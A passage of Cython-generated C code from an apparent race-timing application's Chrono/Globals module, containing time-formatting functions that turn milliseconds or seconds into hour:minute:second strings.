*__pyx_n_u_Cyan; static PyObject *__pyx_n_u_Green; static PyObject *__pyx_kp_u_ID__16_16X; static PyObject *__pyx_n_s_MainWindow; static PyObject *__pyx_n_s_PyQt5_QtGui; static PyObject *__pyx_n_s_QColor; static PyObject *__pyx_n_s_QFont; static PyObject *__pyx_n_s_QIcon; static PyObject *__pyx_n_u_Red; static PyObject *__pyx_kp_u_TP__8_8X; static PyObject *__pyx_n_s_UserRole; static PyObject *__pyx_n_u_Violet; static PyObject *__pyx_n_u_White; static PyObject *__pyx_n_u_Yellow; static PyObject *__pyx_kp_u__2; static PyObject *__pyx_n_u_c; static PyObject *__pyx_n_s_chr; static PyObject *__pyx_n_s_clear_screen; static PyObject *__pyx_n_s_colors; static PyObject *__pyx_n_s_createTime; static PyObject *__pyx_n_s_createTimeSeconds; static PyObject *__pyx_n_s_decoder; static PyObject *__pyx_n_s_dictBestLap; static PyObject *__pyx_n_s_dictBestLapMonitor; static PyObject *__pyx_n_s_dictRace; static PyObject *__pyx_kp_u_finish_flag; static PyObject *__pyx_n_s_format; static PyObject *__pyx_n_s_heure; static PyObject *__pyx_kp_s_home_thor_Devel_Transponder_Chr; static PyObject *__pyx_n_s_icons; static PyObject *__pyx_n_s_import; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_max_time; static PyObject *__pyx_n_s_milli; static PyObject *__pyx_n_s_minute; static PyObject *__pyx_n_s_raceDuration; static PyObject *__pyx_n_s_raceLaps; static PyObject *__pyx_n_s_racerList; static PyObject *__pyx_n_s_receiver; static PyObject *__pyx_n_s_second; static PyObject *__pyx_n_s_seconds; static PyObject *__pyx_n_s_setBold; static PyObject *__pyx_n_s_setFamily; static PyObject *__pyx_n_s_setItalic; static PyObject *__pyx_n_s_setKerning; static PyObject *__pyx_n_s_setPointSize; static PyObject *__pyx_n_s_setWeight; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_s_text_black; static PyObject *__pyx_n_s_text_blue; static PyObject *__pyx_n_s_text_green; static PyObject *__pyx_n_s_text_inverted; static PyObject *__pyx_n_s_text_normal; static PyObject *__pyx_n_s_text_red; static PyObject *__pyx_n_s_tpRacerList; static PyObject *__pyx_pf_6Chrono_7Globals_createTime(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_milli); /* proto */ static PyObject *__pyx_pf_6Chrono_7Globals_2createTimeSeconds(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_seconds); /* proto */ static PyObject *__pyx_int_2; static PyObject *__pyx_int_8; static PyObject *__pyx_int_24; static PyObject *__pyx_int_27; static PyObject *__pyx_int_50; static PyObject *__pyx_int_60; static PyObject *__pyx_int_120; static PyObject *__pyx_int_255; static PyObject *__pyx_int_256; static PyObject *__pyx_int_1000; static PyObject *__pyx_int_3600; static PyObject *__pyx_int_65280; static PyObject *__pyx_int_65535; static PyObject *__pyx_int_16711680; static PyObject *__pyx_int_16711935; static PyObject *__pyx_int_16776960; static PyObject *__pyx_int_16777215; static PyObject *__pyx_int_4294967295; static PyObject *__pyx_tuple__3; static PyObject *__pyx_tuple__4; static PyObject *__pyx_tuple__5; static PyObject *__pyx_tuple__6; static PyObject *__pyx_tuple__7; static PyObject *__pyx_tuple__8; static PyObject *__pyx_tuple__9; static PyObject *__pyx_tuple__10; static PyObject *__pyx_tuple__11; static PyObject *__pyx_tuple__12; static PyObject *__pyx_tuple__13; static PyObject *__pyx_tuple__14; static PyObject *__pyx_tuple__15; static PyObject *__pyx_tuple__16; static PyObject *__pyx_tuple__18; static PyObject *__pyx_tuple__20; static PyObject *__pyx_tuple__21; static PyObject *__pyx_tuple__22; static PyObject *__pyx_tuple__23; static PyObject *__pyx_tuple__24; static PyObject *__pyx_tuple__25; static PyObject *__pyx_tuple__26; static PyObject *__pyx_codeobj__17; static PyObject *__pyx_codeobj__19; /* "Chrono/Globals.py":48 * # *********************************************************************************************************************** * * def createTime( milli): # <<<<<<<<<<<<<< * second = int( ( milli / 1000 ) ) % 60 * minute = int( ( milli / 1000 / 60 ) ) % 60 */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_7Globals_1createTime(PyObject *__pyx_self, PyObject *__pyx_v_milli); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_7Globals_1createTime = {"createTime", (PyCFunction)__pyx_pw_6Chrono_7Globals_1createTime, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_7Globals_1createTime(PyObject *__pyx_self, PyObject *__pyx_v_milli) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("createTime (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_7Globals_createTime(__pyx_self, ((PyObject *)__pyx_v_milli)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_7Globals_createTime(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_milli) { PyObject *__pyx_v_second = NULL; PyObject *__pyx_v_minute = NULL; PyObject *__pyx_v_heure = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("createTime", 0); __Pyx_INCREF(__pyx_v_milli); /* "Chrono/Globals.py":49 * * def createTime( milli): * second = int( ( milli / 1000 ) ) % 60 # <<<<<<<<<<<<<< * minute = int( ( milli / 1000 / 60 ) ) % 60 * heure = int( ( milli / 1000 / 3600 ) ) %24 */ __pyx_t_1 = __Pyx_PyInt_TrueDivideObjC(__pyx_v_milli, __pyx_int_1000, 0x3E8, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyInt_RemainderObjC(__pyx_t_2, __pyx_int_60, 60, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_second = __pyx_t_1; __pyx_t_1 = 0; /* "Chrono/Globals.py":50 * def createTime( milli): * second = int( ( milli / 1000 ) ) % 60 * minute = int( ( milli / 1000 / 60 ) ) % 60 # <<<<<<<<<<<<<< * heure = int( ( milli / 1000 / 3600 ) ) %24 * # days = int( ( milli / 1000 / 3600 / 24 ) ) %10 */ __pyx_t_1 = __Pyx_PyInt_TrueDivideObjC(__pyx_v_milli, __pyx_int_1000, 0x3E8, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyInt_TrueDivideObjC(__pyx_t_1, __pyx_int_60, 60, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyInt_RemainderObjC(__pyx_t_1, __pyx_int_60, 60, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_minute = __pyx_t_2; __pyx_t_2 = 0; /* "Chrono/Globals.py":51 * second = int( ( milli / 1000 ) ) % 60 * minute = int( ( milli / 1000 / 60 ) ) % 60 * heure = int( ( milli / 1000 / 3600 ) ) %24 # <<<<<<<<<<<<<< * # days = int( ( milli / 1000 / 3600 / 24 ) ) %10 * milli = int( milli % 1000 ) */ __pyx_t_2 = __Pyx_PyInt_TrueDivideObjC(__pyx_v_milli, __pyx_int_1000, 0x3E8, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyInt_TrueDivideObjC(__pyx_t_2, __pyx_int_3600, 0xE10, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyInt_RemainderObjC(__pyx_t_2, __pyx_int_24, 24, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_heure = __pyx_t_1; __pyx_t_1 = 0; /* "Chrono/Globals.py":53 * heure = int( ( milli / 1000 / 3600 ) ) %24 * # days = int( ( milli / 1000 / 3600 / 24 ) ) %10 * milli = int( milli % 1000 ) # <<<<<<<<<<<<<< * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second)+'.'+'{:04d}'.format(milli) * */ __pyx_t_1 = __Pyx_PyInt_RemainderObjC(__pyx_v_milli, __pyx_int_1000, 0x3E8, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_milli, __pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":54 * # days = int( ( milli / 1000 / 3600 / 24 ) ) %10 * milli = int( milli % 1000 ) * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second)+'.'+'{:04d}'.format(milli) # <<<<<<<<<<<<<< * * def createTimeSeconds( seconds): */ __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_kp_u_0d, __pyx_n_s_format); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_heure); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_heure}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_heure}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_heure); __Pyx_GIVEREF(__pyx_v_heure); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_heure); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_kp_u_02d, __pyx_n_s_format); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_minute); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_minute}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_minute}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_minute); __Pyx_GIVEREF(__pyx_v_minute); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_v_minute); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Add(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Add(__pyx_t_4, __pyx_kp_u_); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_kp_u_02d, __pyx_n_s_format); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_second); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_second}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_second}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_INCREF(__pyx_v_second); __Pyx_GIVEREF(__pyx_v_second); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_second); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Add(__pyx_t_1, __pyx_kp_u__2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_kp_u_04d, __pyx_n_s_format); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_v_milli); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_milli}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_milli}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_milli); __Pyx_GIVEREF(__pyx_v_milli); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_v_milli); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Add(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_r = __pyx_t_2; __pyx_t_2 = 0; goto __pyx_L0; /* "Chrono/Globals.py":48 * # *********************************************************************************************************************** * * def createTime( milli): # <<<<<<<<<<<<<< * second = int( ( milli / 1000 ) ) % 60 * minute = int( ( milli / 1000 / 60 ) ) % 60 */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("Chrono.Globals.createTime", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_second); __Pyx_XDECREF(__pyx_v_minute); __Pyx_XDECREF(__pyx_v_heure); __Pyx_XDECREF(__pyx_v_milli); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/Globals.py":56 * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second)+'.'+'{:04d}'.format(milli) * * def createTimeSeconds( seconds): # <<<<<<<<<<<<<< * second = int( ( seconds ) ) % 60 * minute = int( ( seconds / 60 ) ) % 60 */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_7Globals_3createTimeSeconds(PyObject *__pyx_self, PyObject *__pyx_v_seconds); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_7Globals_3createTimeSeconds = {"createTimeSeconds", (PyCFunction)__pyx_pw_6Chrono_7Globals_3createTimeSeconds, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_7Globals_3createTimeSeconds(PyObject *__pyx_self, PyObject *__pyx_v_seconds) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("createTimeSeconds (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_7Globals_2createTimeSeconds(__pyx_self, ((PyObject *)__pyx_v_seconds)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_7Globals_2createTimeSeconds(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_seconds) { PyObject *__pyx_v_second = NULL; PyObject *__pyx_v_minute = NULL; PyObject *__pyx_v_heure = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("createTimeSeconds", 0); /* "Chrono/Globals.py":57 * * def createTimeSeconds( seconds): * second = int( ( seconds ) ) % 60 # <<<<<<<<<<<<<< * minute = int( ( seconds / 60 ) ) % 60 * heure = int( ( seconds / 3600 ) ) %24 */ __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_v_seconds); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyInt_RemainderObjC(__pyx_t_1, __pyx_int_60, 60, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_second = __pyx_t_2; __pyx_t_2 = 0; /* "Chrono/Globals.py":58 * def createTimeSeconds( seconds): * second = int( ( seconds ) ) % 60 * minute = int( ( seconds / 60 ) ) % 60 # <<<<<<<<<<<<<< * heure = int( ( seconds / 3600 ) ) %24 * # days = int( ( seconds / 3600 / 24 ) ) %10 */ __pyx_t_2 = __Pyx_PyInt_TrueDivideObjC(__pyx_v_seconds, __pyx_int_60, 60, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyInt_RemainderObjC(__pyx_t_1, __pyx_int_60, 60, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_minute = __pyx_t_2; __pyx_t_2 = 0; /* "Chrono/Globals.py":59 * second = int( ( seconds ) ) % 60 * minute = int( ( seconds / 60 ) ) % 60 * heure = int( ( seconds / 3600 ) ) %24 # <<<<<<<<<<<<<< * # days = int( ( seconds / 3600 / 24 ) ) %10 * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second) */ __pyx_t_2 = __Pyx_PyInt_TrueDivideObjC(__pyx_v_seconds, __pyx_int_3600, 0xE10, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyInt_RemainderObjC(__pyx_t_1, __pyx_int_24, 24, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_heure = __pyx_t_2; __pyx_t_2 = 0; /* "Chrono/Globals.py":61 * heure = int( ( seconds / 3600 ) ) %24 * # days = int( ( seconds / 3600 / 24 ) ) %10 * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second) # <<<<<<<<<<<<<< * MainWindow = None * UserRole = 0x0100 */ __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_kp_u_0d, __pyx_n_s_format); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_2 = 